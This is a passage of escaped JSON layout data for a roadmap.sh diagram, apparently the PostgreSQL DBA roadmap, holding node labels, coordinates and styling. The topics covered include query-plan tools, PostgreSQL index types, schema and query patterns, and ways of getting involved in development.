\"Depesz\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -57.7723738950946,\n        \"y\": 2857.7525074808896\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9RyMU36KEP__-RzTTz_eo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -162.08616061032765,\n        \"y\": 2910.7525074808896\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PEV2\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -162.08616061032765,\n        \"y\": 2910.7525074808896\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xEu5n6U9-WKVxjlT5YUgx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -59.13649229997341,\n        \"y\": 2910.7525074808896\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tensor\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -59.13649229997341,\n        \"y\": 2910.7525074808896\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UZ1vRFRjiQAVu6BygqwEL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -162.08616061032765,\n        \"y\": 2963.7525074808896\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"explain.dalibo.com\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -162.08616061032765,\n        \"y\": 2963.7525074808896\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fFsO0ayNwjSzeyl2LRjlg\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -327.50018768087136,\n        \"y\": 2976.7525074808896\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Techniques\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 105,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -327.50018768087136,\n        \"y\": 2976.7525074808896\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 105,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"QWi84EjdHw5ChYsuwUhPC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -375.50018768087136,\n        \"y\": 3024.123637367171\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"USE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -375.50018768087136,\n        \"y\": 3024.123637367171\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qBkpTmfbyCv2L-OJW9pPI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -270.66434384862157,\n        \"y\": 3024.123637367171\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RED\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -270.66434384862157,\n        \"y\": 3024.123637367171\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oX-bdPPjaHJnQKgUhDSF2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -375.50018768087136,\n        \"y\": 3077.123637367171\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Golden Signals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -375.50018768087136,\n        \"y\": 3077.123637367171\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xOLVCPum_oCJo00obtZfJ\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 229.738410041698,\n        \"y\": 3194.521312862793\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SQL Optimization Techniques\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 311,\n      \"height\": 67,\n      \"positionAbsolute\": {\n        \"x\": 229.738410041698,\n        \"y\": 3194.521312862793\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 311,\n        \"height\": 67\n      },\n      \"measured\": {\n        \"width\": 311,\n        \"height\": 67\n      }\n    },\n    {\n      \"id\": \"wnUa4XkpZGB9fkHH0rNXA\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 384.738410041698,\n        \"y\": 3140.521312862793\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        },\n        \"oldId\": \"BUm6nq_vQ_cYr5pC8MMEj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 54,\n      \"positionAbsolute\": {\n        \"x\": 384.738410041698,\n        \"y\": 3140.521312862793\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 54\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 54\n      }\n    },\n    {\n      \"id\": \"FDuiJyU1yWUQ9IsfS3CeZ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -210.24744704168165,\n        \"y\": 3256.521312862793\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Schema Design Patterns / Anti-patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 359,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 359,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -210.24744704168165,\n        \"y\": 3256.521312862793\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 359,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"G9DB1ZQjgXaHxJ4Lm6xGx\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -210.24744704168165,\n        \"y\": 3203.521312862793\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SQL Query Patterns / Anti-patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 359,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 359\n      },\n      \"positionAbsolute\": {\n        \"x\": -210.24744704168165,\n        \"y\": 3203.521312862793\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 359,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Dhhyg23dBMyAKCFwZmu71\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -210.24744704168165,\n        \"y\": 3376.7508733941395\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Indexes and their Usecases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NhodBD8myUTljNdn3y40I\"\n      },\n      \"zIndex\": 999,\n      \"width\": 359,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 359,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -210.24744704168165,\n        \"y\": 3376.7508733941395\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 359,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jihXOJq9zYlDOpvJvpFO-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 269.4194612473742,\n        \"y\": 3322.5814814649857\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"B-Tree\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 116,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 116,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 269.4194612473742,\n        \"y\": 3322.5814814649857\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 116,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2yWYyXt1uLOdQg4YsgdVq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 389.34964343548074,\n        \"y\": 3376.865334418593\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Hash\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 389.34964343548074,\n        \"y\": 3376.865334418593\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2chGkn5Y_WTjYllpgL0LJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 269.4194612473742,\n        \"y\": 3375.5814814649857\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GiST\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 116,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 116,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 269.4194612473742,\n        \"y\": 3375.5814814649857\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 116,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LT5qRETR3pAI8Tk6k5idg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 269.4194612473742,\n        \"y\": 3428.5814814649857\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SP-GiST\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 116,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 116,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 269.4194612473742,\n        \"y\": 3428.5814814649857\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 116,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FJhJyDWOj9w_Rd_uKcouT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 389.34964343548074,\n        \"y\": 3429.865334418593\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GIN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 389.34964343548074,\n        \"y\": 3429.865334418593\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"43oFhZuXjJd4QHbUoLtft\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 389.34964343548074,\n        \"y\": 3323.865334418593\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"BRIN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 389.34964343548074,\n        \"y\": 3323.865334418593\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NhodBD8myUTljNdn3y40I\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -210.24744704168165,\n        \"y\": 3505.3839856010422\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Get Involved in Development\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 359,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 359,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -210.24744704168165,\n        \"y\": 3505.3839856010422\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 359,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8H7hJhGKxr1nrjkHv9Xao\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -504.52150114684144,\n        \"y\": 3452.8758098135813\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Mailing Lists\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 209\n      },\n      \"positionAbsolute\": {\n        \"x\": -504.52150114684144,\n        \"y\": 3452.8758098135813\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Jy0G0ZnHPOM8hba_PbwuA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -504.52150114684144,\n        \"y\": 3505.8758098135813\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Reviewing Patches\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 209,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -504.52150114684144,\n        \"y\": 3505.8758098135813\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eQzMU_KyQmHJQ6gzyk0-1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -504.52150114684144,\n        \"y\": 3558.8758098135813\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Writing Patches\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 209\n      },\n      \"positionAbsolute\": {\n        \"x\": -504.52150114684144,\n        \"y\": 3558.8758098135813\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"X3IC3D4MqkxpS6s99vdj-\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -506.9997388263719,\n        \"y\": -276.89091544360696\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"dA8pyw5Eq2PCZrMKfg5qH\",\n            \"label\": \"MongoDB Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/mongodb\"\n          },\n          {\n            \"id\": \"Wf1doH-r2O2KQg10KlDTg\",\n            \"label\": \"Backend Roadmap\",\n            \"url\": \"https://roadmap.sh/backend\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 261,\n      \"height\": 131,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -506.9997388263719,\n        \"y\": -276.89091544360696\n      },\n      \"style\": {\n        \"width\": 261,\n        \"height\": 131\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 261,\n        \"height\": 131\n      }\n    },\n    {\n      \"id\": \"Ju00mr0KLGN2BV6yEQGPt\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -39.81517696418065,\n        \"y\": 3752.8165374261\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#4136D4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 104,\n      \"positionAbsolute\": {\n        \"x\": -39.81517696418065,\n        \"y\": 3752.8165374261\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 104\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 104\n      }\n    },\n    {\n      \"width\": 418,\n      \"height\": 124,\n      \"id\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -238.7204568104537,\n        \"y\": 3665.460512650745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visit the following relevant roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"0vLaVNJaJSHZ_bHli6Qzs\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -238.7204568104537,\n        \"y\": 3665.460512650745\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 418,\n        \"height\": 124\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 418,\n        \"height\": 124\n      }\n    },\n    {\n      \"width\": 167,\n      \"height\": 49,\n      \"id\": \"gC8lsIdYLRzo3HzwVqtm1\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -215.49883835983408,\n        \"y\": 3721.1421947384497\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MongoDB\",\n        \"href\": \"https://roadmap.sh/mongodb\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"uSLzfLPXxS5-P7ozscvjZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -215.49883835983408,\n        \"y\": 3721.1421947384497\n      },\n      \"style\": {\n        \"width\": 167,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 167,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 181,\n      \"height\": 49,\n      \"id\": \"uSLzfLPXxS5-P7ozscvjZ\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -42.09048401893634,\n        \"y\": 3721.1421947384497\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backend\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"PkhQdVms2TGgnPrytCBPZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -42.09048401893634,\n        \"y\": 3721.1421947384497\n      },\n      \"style\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7RR4BlugrhJQpI0MeMj8V\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -497.4061969910332,\n        \"y\": 1679.0194143577883\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DevOps Roadmap\",\n        \"href\": \"https://roadmap.sh/devops\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -497.4061969910332,\n        \"y\": 1679.0194143577883\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lDIy56RyC1XM7IfORsSLD\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"D0doJTtLu-1MmFOfavCXN\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-lDIy56RyC1XM7IfORsSLDz2-D0doJTtLu-1MmFOfavCXNy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lDIy56RyC1XM7IfORsSLD\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"soar-NBWCr4xVKj7ttfnc\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-lDIy56RyC1XM7IfORsSLDz2-soar-NBWCr4xVKj7ttfncy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lDIy56RyC1XM7IfORsSLD\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"p3AmRr_y_ZBKzAU5eh7OU\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-lDIy56RyC1XM7IfORsSLDz2-p3AmRr_y_ZBKzAU5eh7OUy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lDIy56RyC1XM7IfORsSLD\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"IAKERTzTpTds5kZLMCapM\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-lDIy56RyC1XM7IfORsSLDz2-IAKERTzTpTds5kZLMCapMy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"lDIy56RyC1XM7IfORsSLD\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-iogwMmOvub2ZF4zgg6WyFx2-lDIy56RyC1XM7IfORsSLDw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lDIy56RyC1XM7IfORsSLD\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"-M9EFgiDSSAzj9ISk-aeh\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-lDIy56RyC1XM7IfORsSLDx2-VjQ71xorBoxxDn-wSmUjmw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-M9EFgiDSSAzj9ISk-aeh\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"RoYP1tYw5dvhmkVTo1HS-\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-VjQ71xorBoxxDn-wSmUjmy2-RoYP1tYw5dvhmkVTo1HS-z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RoYP1tYw5dvhmkVTo1HS-\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"mDVbjdVN0spY7dI_8k1YW\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-RoYP1tYw5dvhmkVTo1HS-x2-_BSR2mo1lyXEFXbKYb1ZGw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        